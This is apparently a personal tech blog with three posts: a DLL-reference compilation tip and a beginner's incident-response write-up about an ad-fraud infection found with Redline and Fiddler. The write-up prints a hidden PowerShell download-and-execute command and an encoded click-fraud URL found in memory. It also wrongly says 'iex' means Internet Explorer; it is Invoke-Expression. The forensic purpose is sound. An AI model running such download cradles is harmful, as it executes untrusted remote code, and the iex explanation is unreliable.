Thursday, June 25, 2015

Post #6 (Or "Sniff, Sniff... Is That Free Time That I Smell?")

Well, I have finally cleared a major project out of my pipeline, and I am ready to resume work on other less massive work-related and personal projects. However, figured I'd share the fruits of that labor first.

I recently was called upon to give a presentation on a number of subjects and, while I can't share details and had to redact some information that could leak stuff I don't want leaked, I wanted to share the core of what I presented. The only things missing are bits of identifying information.


Wednesday, June 17, 2015

Post #5 (Or "Resource Gathering Ain't Just For RTSs.")

I have quite a few posts coming down the pipeline. Bear with me as I try to get them pieced together and posted.

For now, I wanted to get a couple of posts up about what I considered to be some clever solutions to some problems I was having. In all actuality, they were probably just me overcomplicating things, but that is neither here nor there. Read on!

In an effort to really dig deep into my studies, I have been compiling reference books/lists of things such as:

•All native Windows .DLLs

•All native PowerShell cmdlets

•All native wmi classes

•All native .NET functions, classes, etc.

•All native Windows syscalls

•Etc., etc., etc.

I have been able to locate most of these things with a single Google query, but the list of .DLLs was a bit of a trick. I found some awesome databases that Nir Sofer put together, but as much as I love how the databases were put together as a web reference, I still have some love for hard copies of large reference sets. To that end, I was unable to locate one single page with all of the .DLLs. I did notice he had single pages for each letter of the alphabet, though, so that got me thinking.

First, I headed over to the ever-reliable wget command. I could've scripted this, I am sure, but considering it took next to no time to just run the single command and cancel it when all 26 desired pages had downloaded, I didn't want venture in to the lands of losing efficiency in the pursuit of efficiency.

Once all 26 .HTML files had downloaded, I was faced with the issue of printing them. Opening each page in a browser and printing them one-by-one seemed tedious, so I opted for another idea. There is a utility in existence named wkhtmltopdf, and it is miraculous. From the command line, it allows you to specify an input file that is in .HTML format and output it as, say, .PDF. And it supports wildcards. So, within a few minutes, I had 26 .PDF files containing all the native Windows .DLLs. One step closer to my goal of a single printed reference of all native Windows .DLLs.

The final step was easy enough. I long ago installed PDFTools by SheelApps, and it took seconds to combine all 26 .PDFs into a single, unified .PDF. Once that was done, I repeated this entire process for the remaining OS versions, and then combined the penultimate files into the last and complete .PDF file containing all native Windows .DLLs for WinXP, Win7/Vista, and Win8/8.1. Then I printed it.

Below, find the links to the Nir Sofer reference web pages, as well as the finalized .PDF I created.

WinDLLs.pdf (helpfully scrubbed of metadata by exiftool.)

Tuesday, June 9, 2015

Post #4 (Or "Bot, Begone! Let's Get Dirty With Some Cleanup.") - Part 2

Apologies. I have had multiple items coming down the pipeline at work that have required my spare time and attention, so I was unable to continue this posting. Hopefully, I can share some of that work with you all soon, but for now, let's continue where we left off.

When we last left off, I was just about to access the infected machine and begin analysis and cleanup. Let us start after I have contacted the client, let them know they have an active infection, and have gained access to the machine.

The first thing I do before anything else, while the user is still logged and nothing has been touched by me on the system, is create a dump of the system's memory. There are plenty of tools out there to do this, but because I have been playing around with Volatility lately, I chose to use winpmem to create the dump this time. Once the dump is saved, I copy it to a safe location on the HDD to be extracted after cleanup.

Next, while the user is still logged in, I run Fiddler just to see if I can catch the same HTTP requests my firewall packet capture caught. This endeavor was very successful. There were literally hundreds of requests being made per minute, but I am only going to include the results that were relevant to my search. We need to touch on the the memory dump analysis first, though, because it will provide us with a narrower scope for examining what was going on in the Fiddler session (when it comes to large sets of data, and that is very much so the nature of incident response, correlating data is extremely helpful, unless you want to wade through hundreds, thousands, or millions of requests by hand.)

Now, I stated earlier that I have been playing with Volatility lately, but I am by no means an expert, so for this analysis I used Mandiant's Redline analysis tool. Once my analysis session had been created, I set about sorting the processes that were running in memory when the dump was created. As a personal choice, I sorted them based on their arguments. After reviewing the list, 2 processes stuck out right away to me. Let's review these in turn.

First, I saw the below process (copied the entire row's contents as displayed by Redline):

4,"52","powershell.exe","52",3104,"C:\Windows\system32\windowspowershell\v1.0","C:\Windows\system32\windowspowershell\v1.0\powershell.exe -windowstyle hidden -noninteractive -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString(''); iex $($b)"",,"2015-05-01 09:31:00Z",00:00:00,00:00:00,,"S-1-5-18",,"taskeng.exe",3132,,,,,,

So, breaking this down, we notice 2 things. Firstly, that powershell.exe ran the following command (and it ran windowless, hence the -windowstyle hidden -noninteractive switches when powershell.exe was launched):

$a = New-Object System.Net.WebClient; $b = $a.DownloadString(''); iex $($b)

So, powershell.exe is being launched windowless and is grabbing a string as a new object via the System.Net.WebClient module and the DownloadString function. It is then passing that string into iex (Internet Explorer). Remember, this is all happening in the background. Beyond that, we also notice the process that spawned powershell.exe, in this case taskeng.exe, which has a PID of 3132. If we follow the spawning chain, we find that taskeng.exe was called by svchost.exe, which was called by services.exe, which was called by wininit.exe, which was called by wfcrun32.exe. Here is the full path for wfcrun32.exe, along with the argument it was launched with:

C:\Program Files\Citrix\ICA Client\wfcrun32.exe -Embedding

That will become important later. For now, let's leave it be.

Next, let's review the second process I noted:

4,"58","cmd.exe","58",2612,"C:\Windows\system32","cmd.exe clckurl=http%3a%2f%2f178%2e63%2e9%2e213%2fclick%3fsid%3dc7394d7188ab054dde11c09ab539853fcfee0289%26cid%3d0%;;refrr=http%3a%2f%2flinepad%2ecom%;;usragnt=Mozilla%2f4%2e0%20(compatible%3b%20MSIE%209%2e0%3b%20Windows%20NT%206%2e1%3b%20Trident%2f5%2e0%3b%20SLCC2%3b%20%2eNET%20CLR%202%2e0%2e50727%3b%20%2eNET%20CLR%203%2e5%2e30729%3b%20%2eNET%20CLR%203%2e0%2e30729%3b%20Media%20Center%20PC%206%2e0%3b%20%2eNET4%2e0C%3b%20%2eNET4%2e0E%3b%20BOIE9%3bENUSMSCOM)%;;",,"2015-05-01 13:36:00Z",00:00:00,00:00:00,,"S-1-5-21-2111367450-1562277531-2960697558-1000",,"SelfServicePlugin.exe",464,,,,,,

So, cmd.exe is executing the below command:


The URL is encoded, so let's decode it:

A referrer header and user agent string were also included, so let's decode them as well:


usragnt=Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BOIE9;ENUSMSCOM)

Well, clckurl isn't a Windows command that I am aware of, however, when you review the spawning chain, selfserviceplugin.exe is launching cmd.exe, and selfserviceplugin.exe is launched by receiver.exe, which is launched by concentr.exe, and that is launched by explorer.exe. There are some arguments and paths that are important to note here, so let's look at them:

C:\Program Files\Citrix\SelfServicePlugin\SelfServicePlugin.exe

C:\Program Files\Citrix\Receiver\Receiver.exe -autoupdate -startplugins

C:\Program Files\Citrix\ICA Client\concentr.exe /startup

Interestingly enough, we see yet more Citrix folder paths. If I had my guesses, clckurl is being inherited from a library used by one of those processes, or DLL injection is taking place. Can we locate the specific library or process supplying that command? Well, I am sure that somebody could, but from my stance I am missing two crucial things—experience and a better view into the client's machine. For now, let's just move on. I will try to swing back around to deeper analysis here if I can.

I had stated that a Fiddler analysis of the system had really shown what was going on behind the scenes. Surely enough, see below:

This is a sampling of the Fiddler traffic I caught. There were many, many more requests, and the capture was only running for a couple of minutes.

Well, we definitely have some click-jacking/ad fraud going on. That is a certainty.

Again, I don't have the stance/experience to do much more analysis at this exact moment. Unfortunately, forensics is not my primary job description, so there is only so much time I can spend gathering and preserving data for later examination before I need to move on to cleaning the infected machine. I will tell you that Malwarebytes Anti-Malware cleaned up instances of Trojan.Clicker.FMS, so the click-jacking/ad fraud guess was right.

I'll cycle back around to this topic when I have more time/information. For now, there are other topics to be addressed.